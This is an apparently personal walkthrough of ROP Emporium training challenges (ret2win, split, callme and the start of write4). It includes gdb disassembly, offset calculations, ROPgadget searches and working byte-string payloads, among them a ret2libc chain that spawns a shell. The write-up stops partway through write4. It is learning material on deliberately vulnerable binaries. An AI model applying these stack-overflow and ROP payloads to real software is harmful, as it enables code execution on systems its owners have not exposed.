ROP Emporium – Ret2Win Challenge (32-bit & 64-bit)

This is the beginning of my ROP journey :)

Download the binaries: https://ropemporium.com/challenge/ret2win.html

Download any architecture type that interests you.


Introduction

Return Oriented Programming (ROP) is the successor of classic buffer overflow techniques such as:

Modern binaries often include mitigations like:

ROP bypasses these protections by chaining together small instruction sequences called gadgets that already exist inside the binary or linked libraries.


Program Analysis

Running the binary:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> asdfghjkl;
Thank you!

Exiting

The program itself hints at a vulnerability:

“fit 56 bytes of user input into 32 bytes of stack buffer”

This strongly suggests a stack buffer overflow.


Disassembling the Vulnerable Function

Let’s inspect the pwnme function:

(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
    ...
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
End of assembler dump.
(gdb)

Important observations

lea rax,[rbp-0x20]

This means the buffer is located at

rbp - 0x20
mov edx,0x38

0x38 = 56 bytes

So the program calls:

read(0, buffer, 56)

But the buffer is only:

0x20 = 32 bytes

Result

56 byte input
32 byte buffer

24 bytes overflow


Stack Layout

Typical stack layout for this function:

| saved RIP |  <-- rbp + 0x8
| saved RBP |
| buffer    | 32 bytes

Therefore to overwrite RIP:

32 bytes buffer
+ 8 bytes saved RBP
= 40 bytes offset

So we need:

40 bytes padding
+ new RIP

Testing the Overflow

Let’s confirm the crash:

(gdb) run < <(python3 -c 'print("A"*40)')
Starting program: /home/nastyax0/ret2win/ret2win < <(python3 -c 'print("A"*40)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!

Program received signal SIGILL, Illegal instruction.
0x000000000040060f in deregister_tm_clones ()
(gdb)

This confirms:

We successfully overwrote RIP


Exploit

Now we locate the ret2win function:

x/x ret2win
0x400756 <ret2win>:     0xe5894855

Address of ret2win:

0x400756

Now craft payload:

padding (40 bytes)
+ ret2win address

Payload:

gdb < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x07\x40\x00\x00\x00\x00\x00")')

> Thank you! Well done! Here's your flag: 

Program received signal SIGSEGV, 
Segmentation fault. 
0x00007ffff7e21173 in do_system (line=0x400943 "/bin/cat flag.txt") at 
../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory. 
(gdb) x/x 0x00007ffff7e21173 0x7ffff7e21173 <do_system+339>: 0x2444290f 
(gdb) x/i 0x00007ffff7e21173 => 0x7ffff7e21173 <do_system+339>: movaps XMMWORD PTR [rsp+0x50],xmm0

MOVAPS Crash Explanation

ROP Emporium hints about this issue:

The MOVAPS issue If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

Why this happens

The x86_64 ABI requires 16-byte stack alignment before calling functions like:

If the stack is misaligned, instructions like:

movaps

will crash with a general protection fault.


Fix 1 — Add an Extra ret Gadget

Add a ret gadget before ret2win to restore stack alignment.

Payload:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ python3 -c 
'import sys; sys.stdout.buffer.write(b"A"*40 + 
b"\xe7\x06\x40\x00\x00\x00\x00\x00" + b"\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

Fix 2 — Skip the Function Prologue

Instead of calling the function start, jump one byte forward to skip the push rbp.

Payload:

nastyax0@LAPTOP-DNJPR47V:~/ret2win$ 
python3 -c 'import sys; sys.stdout.buffer.write
(b"A"*40  + b"\x57\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}


ROP Emporium – Split Challenge (32-bit & 64-bit)

Download the binaries: https://ropemporium.com/challenge/split.html

Download any architecture type that interests you.


For 32 bit Binary Analysis

For 32 bit binary we will do classic ret2libc, is calling convention of 32 bit system is stack based meaning first parameter of any function is pushed last and last parameter is pushed first

Moreover in 64 bit systems, these things changes a bit by register based conventions.

buffer size, determination:

(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
...
   0x080485b6 <+9>:     push   0x20
   0x080485b8 <+11>:    push   0x0
   0x080485ba <+13>:    lea    eax,[ebp-0x28]
   0x080485bd <+16>:    push   eax
   0x080485be <+17>:    call   0x8048410 <memset@plt>
...
   0x080485d9 <+44>:    push   0x8048700
   0x080485de <+49>:    call   0x80483c0 <printf@plt>
   0x080485e3 <+54>:    add    esp,0x10
   0x080485e6 <+57>:    sub    esp,0x4
   0x080485e9 <+60>:    push   0x60
   0x080485eb <+62>:    lea    eax,[ebp-0x28]
   0x080485ee <+65>:    push   eax
   0x080485ef <+66>:    push   0x0
   0x080485f1 <+68>:    call   0x80483b0 <read@plt>
End of assembler dump.

Yet again same buffer “mistake” from 1st challenge, the read’s ccount is set to 0x60(96) but buffer is of 0x28(32) bytes


Exploit Startegy

we can extend up to like till we overwrite return address:

system() exit() ‘/bin/sh’ string

(gdb) x/s 0x0804a030 0x804a030 : "/bin/cat flag.txt"

(gdb) p system $1 = {<text variable, no debug info>} 0xf7dda8d0

(gdb) p exit $2 = {<text variable, no debug info>} 0xf7dc9d10

run < 
<(python3 -c 
'import sys; sys.stdout.buffer.write(b"A"*40 + b"AAAA"+b"\xd0\xa8\xdd\xf7"+b"\x10\x9d\xdc\xf7"+b"\x30\xa0\x04\x08")')
Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 192]
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 188) exited normally]
(just a flag thing hence leaving till here than trying outisde gdb)

For 64-bit Binary Analysis

We need to perform Return Oriented Programming (ROP), but in 64-bit the key constraint is:

Arguments are passed through registers, not the stack.


Background

Every program starts execution from _start, which eventually calls main.

A typical function prologue looks like:

push rbp
mov rbp, rsp

This establishes the stack frame.


Memory Layout

A process has different memory regions:

Common segmentation:

--------------------------------------------
| r-xp  | .text   (executable code)        |
| r--p  | .rodata (read-only data)        |
| rw-p  | .data + .bss (globals)          |
--------------------------------------------
| rw-p  | stack                           |
--------------------------------------------

From /proc/<pid>/maps:

00400000-00401000 r-xp  → .text
00600000-00601000 r--p  → .rodata
00601000-00602000 rw-p  → .data/.bss
7ffd........       rw-p  → [stack]

Key properties:


Stack Frame Layout (x86_64)

After prologue:

[RBP + 0x8] → Return Address
[RBP + 0x0] → Saved RBP
[RBP - ...] → Local Variables

If a buffer overflow exists, we can overwrite:


How RET Works

ret behaves as:

RIP = [RSP]
RSP = RSP + 8

So it:

  1. Reads the top of stack
  2. Jumps to that address
  3. Moves stack forward

Effectively:

pop rip

Why ROP is Needed

So we reuse existing instructions (gadgets) ending in:

ret

Calling Convention (System V AMD64)

Function arguments are passed via registers:

1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9

Example:

system("/bin/sh");

Requires:

RDI = address of "/bin/sh"

Core ROP Idea

We do not manually execute push rdi.

Instead, we use gadgets like:

pop rdi
ret

This allows us to control register values via the stack.


Correct Stack Overwrite (ROP Chain)

After overflow:

[padding .................]
[saved RBP (optional).....]
[address of pop rdi; ret]   ← overwrite return address
[address of "/bin/sh"]     ← will be popped into RDI
[address of system()]      ← next return target

Execution Flow

Step 1: Function returns

ret → jumps to pop rdi; ret

Step 2: Gadget executes

pop rdi
ret

Step 3: Control reaches system

RDI = "/bin/sh"
RIP = system()

Equivalent to:

system("/bin/sh");

Important Clarifications


Final Idea

ROP is:

Using the stack as a sequence of return addresses to execute controlled instruction chains from .text.

so pop rdi; ret address of /bin/cat flag.txt address of ret (to avoid misaligment) address of system address of exit optional to avoid segfaulting

Exploit Strategy

finding /bin/sh string

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ 
xxd -u /usr/lib/x86_64-linux-gnu/libc.so.6 |grep -B 1 bin/sh
00197020: 6962 2F73 7472 746F 645F 6C2E 6300 2D63  ib/strtod_l.c.-c
00197030: 002F 6269 6E2F 7368 0065 7869 7420 3000  ./bin/sh.exit 0.

we found offset for /bin/sh string with the base address:

      0x7ffff7dd5000     0x7ffff7dfb000    0x26000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7dfb000     0x7ffff7f51000   0x156000    0x26000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7f51000     0x7ffff7fa4000    0x53000   0x17c000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa4000     0x7ffff7fa8000     0x4000   0x1cf000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7fa8000     0x7ffff7faa000     0x2000   0x1d3000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
(gdb) x/2s 0x7ffff7dd5000+0x00197031

0x7ffff7f6c031: "/bin/sh"
0x7ffff7f6c039: "exit 0"

finding the address of system:

(gdb) p system
quit
$1 = {int (const char *)} 0x7ffff7e21490 <__libc_system>
(gdb)

finding the gadget for pop rdi; ret

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary ./split --opcode "5fc3"
Opcodes information
============================================================
0x00000000004007c3 : 5fc3
(gdb) x/2i 0x00000000004007c3

   0x4007c3 <__libc_csu_init+99>:       pop    rdi
   0x4007c4 <__libc_csu_init+100>:      ret
(gdb)
 python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*40
+ b"\xc3\x07\x40\x00\x00\x00\x00\x00"  # pop rdi
+ b"\x31\xc0\xf6\xf7\xff\x7f\x00\x00"  # "/bin/sh"
+ b"\xc4\x07\x40\x00\x00\x00\x00\x00"  # ret
+ b"\x90\x14\xe2\xf7\xff\x7f\x00\x00"  # system
)' > paylo
nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ( cat paylo; cat ) | ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ls
flag.txt  paylo  split
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
^X^Csplit by ROP Emporium
x86_64

Contriving a reason to ask user for data...

Segmentation fault (core dumped)

for the usefulString: /bin/cat flag.txt

nastyax0@LAPTOP-DNJPR47V:/mnt/c/Users/Akanksha/Downloads/split$ ROPgadget --binary 
./split --string "/bin/cat flag.txt"
Strings information
============================================================
0x0000000000601060 : /bin/cat flag.txt
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + 
b"\xc3\x07\x40\x00\x00\x00\x00\x00" + b"\x60\x10\x60\x
00\x00\x00\x00\x00" + b"\xc4\x07\x40\x00\x00\x00\x00\x00" + 
b"\x90\x14\xe2\xf7\xff\x7f")')

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
[Detaching after vfork from child process 174]
ROPE{a_placeholder_32byte_flag!}
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3389b in buffered_vfprintf (s=0x7ffff7fa9760 <_IO_2_1_stdout_>, format=format@entry=0x40083c "> ",
    args=args@entry=0x7fffffffdb78, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1734
1734    ./stdio-common/vfprintf-internal.c: No such file or directory.
(gdb) quit
A debugging session is active.

        Inferior 1 [process 172] will be killed.

Quit anyway? (y or n) y

again if you want non crashable, then add a exit after the system()’s address (reccomended)



ROP Emporium – Callme Challenge (32-bit & 64-bit)

Download the binaries: https://ropemporium.com/challenge/callme.html

Download any architecture type that interests you.


Binary Analysis

Assuming you have read the instructions provided on the site, our goal is to locate and call the functions:

Dump of assembler code for function usefulFunction:
   0x0804874f <+0>:     push   ebp
   0x08048750 <+1>:     mov    ebp,esp
   0x08048752 <+3>:     sub    esp,0x8
   0x08048755 <+6>:     sub    esp,0x4
   0x08048758 <+9>:     push   0x6
   0x0804875a <+11>:    push   0x5
   0x0804875c <+13>:    push   0x4
   0x0804875e <+15>:    call   0x80484e0 <callme_three@plt>
   0x08048763 <+20>:    add    esp,0x10
   0x08048766 <+23>:    sub    esp,0x4
   0x08048769 <+26>:    push   0x6
   0x0804876b <+28>:    push   0x5
   0x0804876d <+30>:    push   0x4
   0x0804876f <+32>:    call   0x8048550 <callme_two@plt>
   0x08048774 <+37>:    add    esp,0x10
   0x08048777 <+40>:    sub    esp,0x4
   0x0804877a <+43>:    push   0x6
   0x0804877c <+45>:    push   0x5
   0x0804877e <+47>:    push   0x4
   0x08048780 <+49>:    call   0x80484f0 <callme_one@plt>
   0x08048785 <+54>:    add    esp,0x10
   0x08048788 <+57>:    sub    esp,0xc
   0x0804878b <+60>:    push   0x1
   0x0804878d <+62>:    call   0x8048510 <exit@plt>
End of assembler dump.

We are required to pass the parameters:

for all three functions.

On a 32-bit system, as discussed earlier, arguments are passed via the stack. This means we must push values directly onto the stack in the correct order.


Buffer Calculation

...
   0x080486ed <+0>:     push   ebp
   0x080486ee <+1>:     mov    ebp,esp
   0x080486f0 <+3>:     sub    esp,0x28
   0x080486f3 <+6>:     sub    esp,0x4
...
   0x08048729 <+60>:    push   0x200
   0x0804872e <+65>:    lea    eax,[ebp-0x28]
   0x08048731 <+68>:    push   eax
   0x08048732 <+69>:    push   0x0
   0x08048734 <+71>:    call   0x80484c0 <read@plt>
...

The buffer size is:

0x28 + 0x4 = 0x2c (44 bytes)

So:

"A" * 40 + "B" * 4 → reaches EBP

Stack Layout (32-bit)

Since arguments are passed via the stack:

esp-0x4 = function address
esp      = return address
esp+0x4  = arg1
esp+0x8  = arg2
esp+0xc  = arg3

Also note: the value intended for arg1 must be pushed last, since the stack grows downward.


First Attempt

run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40+b"B"*4+b"\xf0\x84\x04\x08"+b"\xef\xbe\xa
d\xde"+b"\xbe\xba\xfe\xca"+b"\x0d\xf0\x0d\xd0")')
(gdb) c

Continuing.

Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so

Register Inspection

eax            0xb                 11
ecx            0xf7fa89b8          -134575688
edx            0x1                 1
ebx            0xf7fa6ff4          -134582284
esp            0xffffce10          0xffffce10
ebp            0x42424242          0x42424242
esi            0x80487a0           134514592
edi            0xf7ffcb80          -134231168
eip            0xf7fbe63d          0xf7fbe63d <callme_one>
eflags         0x296               [ PF AF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
k0             0x0                 0

This attempt fails due to incorrect parameters.

Some registers contain garbage or unintended values (which doesn’t matter much in 32-bit). What truly matters is the sequence of values placed on the stack.


Problem: Stack Cleanup

Since we are chaining function calls manually, the stack is not cleaned automatically. We must ensure:

Initially, overwriting might seem like a solution—but it’s not ideal.


Observation

Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so

(gdb) info registers

eax            0xb                 11
ecx            0xf7fa89b8          -134575688
edx            0x1                 1
ebx            0xf7fa6ff4          -134582284
esp            0xffffce10          0xffffce10
ebp            0x41414141          0x41414141
esi            0x80487a0           134514592
edi            0xf7ffcb80          -134231168
eip            0xf7fbe63d          0xf7fbe63d <callme_one>
eflags         0x296               [ PF AF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

This indicates that we need to manually pop values off the stack to maintain alignment.


Gadget Discovery

Here’s the nuance, gadget doesnt really matter in 32 bit system as in for registers but values we are able to clear from stack.

Stack Framing:

nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme32 --depth 10 | grep "pop"
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

Correct Stack Layout

esp-0x4 = function1's address
esp =  pop gadget
esp+0x4 = arg1
esp+0x8 = arg2
esp+0xc = arg3

Repeat this structure for the second and third function calls.

Because this gadget performs four pops, padding (BBBB) was required to maintain proper alignment.


Final Payload

import sys 
sys.stdout.buffer.write(b"A"*40+b"B"*4+
b"\xf0\x84\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x50\x85\x04\x08"+
b"\xf8\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0"+
b"\x5e\x87\x04\x08"+
b"\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0")'

Execution Result

run < paylo

Breakpoint 1, 0xf7fbe63d in callme_one () from ./libcallme32.so

(gdb)

Continuing.
callme_one() called correctly

Breakpoint 3, 0xf7fbe75a in callme_two () from ./libcallme32.so

(gdb)

Continuing.
callme_two() called correctly

Breakpoint 4, 0xf7fbe85a in callme_three () from ./libcallme32.so

(gdb)

Continuing.
ROPE{a_placeholder_32byte_flag!}
[Inferior 1 (process 1226) exited normally]

(gdb)

Switching up – 64-bit Binary

At first glance, this looks quite similar to the 32-bit version—just different addresses, right? However, the key difference lies in how arguments are passed.

In 64-bit systems (System V AMD64 ABI), arguments are not passed on the stack. Instead, they are passed through registers:

So instead of pushing values onto the stack, we need a gadget that lets us control these registers.


Gadget Discovery

Luckily, we find a perfect gadget:

nastyax0@LAPTOP-DNJPR47V:$ ROPgadget --binary ./callme --depth 10 | grep "pop rdi"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret

This gadget allows us to set all three required arguments in one go.


Function Addresses

(gdb) disassemble callme_one
Dump of assembler code for function callme_one:
0x00007ffff7c0081a <+0>:     push   rbp

(gdb) disassemble callme_two
Dump of assembler code for function callme_two:
   0x00007ffff7c0092b <+0>:     push   rbp

Quit
(gdb) disassemble callme_three
Dump of assembler code for function callme_three:
   0x00007ffff7c00a2d <+0>:     push   rbp
   0x00007ffff7c00a2e <+1>:     mov    rbp,rsp

Payload Construction

import sys 
sys.stdout.buffer.write(b"A"*32+b"B"*8+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x1a\x08\xc0\xf7\xff\x7f\x00\x00"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x3c\x09\x40\x00\x00\x00\x00\x00"+
b"\xef\xbe\xad\xde\xef\xbe\xad\xde"+
b"\xbe\xba\xfe\xca\xbe\xba\xfe\xca"+
b"\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"+
b"\x2d\x0a\xc0\xf7\xff\x7f\x00\x00")'

Execution Result

(gdb) run < paylo
(gdb) c
Continuing.
SMSA~gXxekhieacter_32byte_flag!}
[Inferior 1 (process 4059) exited normally]

Running Outside GDB

nastyax0@LAPTOP-DNJPR47V:$ nano rfv.py
nastyax0@LAPTOP-DNJPR47V:$ python3 rfv.py | ./callme
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
SMSA~gXxekhieacter_32byte_flag!}

Debugging Tips


Final Notes



ROP Emporium – Write4 Challenge (32-bit & 64-bit)

Download the binaries: https://ropemporium.com/challenge/write4.html

Download any architecture type that interests you.


Binary Analysis

Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:

The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.

The site has hinted us at gadget finding and chaining.

Moreover, inroduction to Write-what-where Condition:

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

https://martellosecurity.com/kb/mitre/cwe/123/

pull out gdb on the binary: 32 bit binary

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048506 <+0>:     lea    ecx,[esp+0x4]
   0x0804850a <+4>:     and    esp,0xfffffff0
   0x0804850d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048510 <+10>:    push   ebp
   0x08048511 <+11>:    mov    ebp,esp
   0x08048513 <+13>:    push   ecx
   0x08048514 <+14>:    sub    esp,0x4
   0x08048517 <+17>:    call   0x80483b0 <pwnme@plt>
   0x0804851c <+22>:    mov    eax,0x0
   0x08048521 <+27>:    add    esp,0x4
   0x08048524 <+30>:    pop    ecx
   0x08048525 <+31>:    pop    ebp
   0x08048526 <+32>:    lea    esp,[ecx-0x4]
   0x08048529 <+35>:    ret
End of assembler dump.
(gdb)

Ignoring the stack setup and rest, function defination for pwnme is interesting:

Interestingly jumping to GOT entry for data:

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048506 <+0>:     lea    ecx,[esp+0x4]
   0x0804850a <+4>:     and    esp,0xfffffff0
   0x0804850d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048510 <+10>:    push   ebp
   0x08048511 <+11>:    mov    ebp,esp
   0x08048513 <+13>:    push   ecx
   0x08048514 <+14>:    sub    esp,0x4
   0x08048517 <+17>:    call   0x80483b0 <pwnme@plt>
   0x0804851c <+22>:    mov    eax,0x0
   0x08048521 <+27>:    add    esp,0x4
   0x08048524 <+30>:    pop    ecx
   0x08048525 <+31>:    pop    ebp
   0x08048526 <+32>:    lea    esp,[ecx-0x4]
   0x08048529 <+35>:    ret
End of assembler dump.
(gdb) disassemble 0x80483b0
Dump of assembler code for function pwnme@plt:
   0x080483b0 <+0>:     jmp    DWORD PTR ds:0x804a00c
   0x080483b6 <+6>:     push   0x0
   0x080483bb <+11>:    jmp    0x80483a0
End of assembler dump.
(gdb) x/a 0x804a00c
0x804a00c <pwnme@got.plt>:      0x80483b6 <pwnme@plt+6>
(gdb)

we see its pointing to itself value over there?, actually its lazy binding at its work!

just ni and execute the pwnme@plt:

Breakpoint 1, 0x08048514 in main ()
(gdb) ni
0x08048517 in main ()
(gdb)
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> hello
Thank you!
0x0804851c in main ()
(gdb) disassemble 0x80483b0
Dump of assembler code for function pwnme@plt:
   0x080483b0 <+0>:     jmp    DWORD PTR ds:0x804a00c
   0x080483b6 <+6>:     push   0x0
   0x080483bb <+11>:    jmp    0x80483a0
End of assembler dump.
(gdb) x/a 0x804a00c
0x804a00c <pwnme@got.plt>:      0xf7fbc69d
(gdb)

The actual where primitive might be :)

(gdb) disassemble 0xf7fbc69d
Dump of assembler code for function pwnme:
   0xf7fbc69d <+0>:     push   ebp
   0xf7fbc69e <+1>:     mov    ebp,esp
   0xf7fbc6a0 <+3>:     push   ebx
   0xf7fbc6a1 <+4>:     sub    esp,0x24
   0xf7fbc6a4 <+7>:     call   0xf7fbc5a0 <__x86.get_pc_thunk.bx>
   0xf7fbc6a9 <+12>:    add    ebx,0x1957
   0xf7fbc6af <+18>:    mov    eax,DWORD PTR [ebx-0x8]
   0xf7fbc6b5 <+24>:    mov    eax,DWORD PTR [eax]
   0xf7fbc6b7 <+26>:    push   0x0
   0xf7fbc6b9 <+28>:    push   0x2
   0xf7fbc6bb <+30>:    push   0x0
   0xf7fbc6bd <+32>:    push   eax
   0xf7fbc6be <+33>:    call   0xf7fbc560 <setvbuf@plt>
   0xf7fbc6c3 <+38>:    add    esp,0x10
   0xf7fbc6c6 <+41>:    sub    esp,0xc
   0xf7fbc6c9 <+44>:    lea    eax,[ebx-0x1808]
   0xf7fbc6cf <+50>:    push   eax
   0xf7fbc6d0 <+51>:    call   0xf7fbc540 <puts@plt>
   0xf7fbc6d5 <+56>:    add    esp,0x10
   0xf7fbc6d8 <+59>:    sub    esp,0xc
   0xf7fbc6db <+62>:    lea    eax,[ebx-0x17f1]
   0xf7fbc6e1 <+68>:    push   eax
   0xf7fbc6e2 <+69>:    call   0xf7fbc540 <puts@plt>
   0xf7fbc6e7 <+74>:    add    esp,0x10
   0xf7fbc6ea <+77>:    sub    esp,0x4
   0xf7fbc6ed <+80>:    push   0x20
   0xf7fbc6ef <+82>:    push   0x0
   0xf7fbc6f1 <+84>:    lea    eax,[ebp-0x28]
   0xf7fbc6f4 <+87>:    push   eax
   0xf7fbc6f5 <+88>:    call   0xf7fbc580 <memset@plt>
   0xf7fbc6fa <+93>:    add    esp,0x10
   0xf7fbc6fd <+96>:    sub    esp,0xc
   0xf7fbc700 <+99>:    lea    eax,[ebx-0x17ec]
   0xf7fbc706 <+105>:   push   eax
   0xf7fbc707 <+106>:   call   0xf7fbc540 <puts@plt>
   0xf7fbc70c <+111>:   add    esp,0x10
   0xf7fbc70f <+114>:   sub    esp,0xc
   0xf7fbc712 <+117>:   lea    eax,[ebx-0x17c3]
   0xf7fbc718 <+123>:   push   eax
   0xf7fbc719 <+124>:   call   0xf7fbc510 <printf@plt>
   0xf7fbc71e <+129>:   add    esp,0x10
   0xf7fbc721 <+132>:   sub    esp,0x4
   0xf7fbc724 <+135>:   push   0x200
   0xf7fbc729 <+140>:   lea    eax,[ebp-0x28]
   0xf7fbc72c <+143>:   push   eax
   0xf7fbc72d <+144>:   push   0x0
   0xf7fbc72f <+146>:   call   0xf7fbc500 <read@plt>
   0xf7fbc734 <+151>:   add    esp,0x10
   0xf7fbc737 <+154>:   sub    esp,0xc
   0xf7fbc73a <+157>:   lea    eax,[ebx-0x17c0]
   0xf7fbc740 <+163>:   push   eax
   0xf7fbc741 <+164>:   call   0xf7fbc540 <puts@plt>
   0xf7fbc746 <+169>:   add    esp,0x10
   0xf7fbc749 <+172>:   nop
   0xf7fbc74a <+173>:   mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fbc74d <+176>:   leave
   0xf7fbc74e <+177>:   ret
End of assembler dump.
(gdb)

Another way of finding the address of pwnme, is finding the offset through custom .so thats provided: the pwnme isnt a function thats defined in the excutable itself but rather compiled and linked against another shared object that contains the fucntion defination of pwnme. Hence the reason you might not find the dfination in .text section of the prgram mappings.

(gdb) info proc mappings
process 310
Mapped address spaces:

        Start Addr   End Addr       Size     Offset  Perms   objfile
         0x8048000  0x8049000     0x1000        0x0  r-xp   /home/nastyax0/write432/write432
         0x8049000  0x804a000     0x1000        0x0  r--p   /home/nastyax0/write432/write432
         0x804a000  0x804b000     0x1000     0x1000  rw-p   /home/nastyax0/write432/write432
        0xf7d88000 0xf7daa000    0x22000        0x0  r--p   /usr/lib32/libc.so.6
        0xf7daa000 0xf7f23000   0x179000    0x22000  r-xp   /usr/lib32/libc.so.6
        0xf7f23000 0xf7fa3000    0x80000   0x19b000  r--p   /usr/lib32/libc.so.6
        0xf7fa3000 0xf7fa5000     0x2000   0x21b000  r--p   /usr/lib32/libc.so.6
        0xf7fa5000 0xf7fa6000     0x1000   0x21d000  rw-p   /usr/lib32/libc.so.6
        0xf7fa6000 0xf7fb0000     0xa000        0x0  rw-p
        0xf7fbc000 0xf7fbd000     0x1000        0x0  r-xp   /home/nastyax0/write432/libwrite432.so
        0xf7fbd000 0xf7fbe000     0x1000        0x0  r--p   /home/nastyax0/write432/libwrite432.so
        0xf7fbe000 0xf7fbf000     0x1000     0x1000  rw-p   /home/nastyax0/write432/libwrite432.so
        0xf7fbf000 0xf7fc1000     0x2000        0x0  rw-p
        0xf7fc1000 0xf7fc5000     0x4000        0x0  r--p   [vvar]
        0xf7fc5000 0xf7fc7000     0x2000        0x0  r--p   [vvar_vclock]
        0xf7fc7000 0xf7fc9000     0x2000        0x0  r-xp   [vdso]
        0xf7fc9000 0xf7fca000     0x1000        0x0  r--p   /usr/lib32/ld-linux.so.2
        0xf7fca000 0xf7fed000    0x23000     0x1000  r-xp   /usr/lib32/ld-linux.so.2
        0xf7fed000 0xf7ffb000     0xe000    0x24000  r--p   /usr/lib32/ld-linux.so.2
        0xf7ffb000 0xf7ffd000     0x2000    0x31000  r--p   /usr/lib32/ld-linux.so.2
        0xf7ffd000 0xf7ffe000     0x1000    0x33000  rw-p   /usr/lib32/ld-linux.so.2
        0xfffdd000 0xffffe000    0x21000        0x0  rw-p   [stack]
(gdb)
        0xf7fbc000 0xf7fbd000     0x1000        0x0  r-xp   /home/nastyax0/write432/libwrite432.so

is what we need: (check the permissions for correct base address it needs to be in executable state to work)

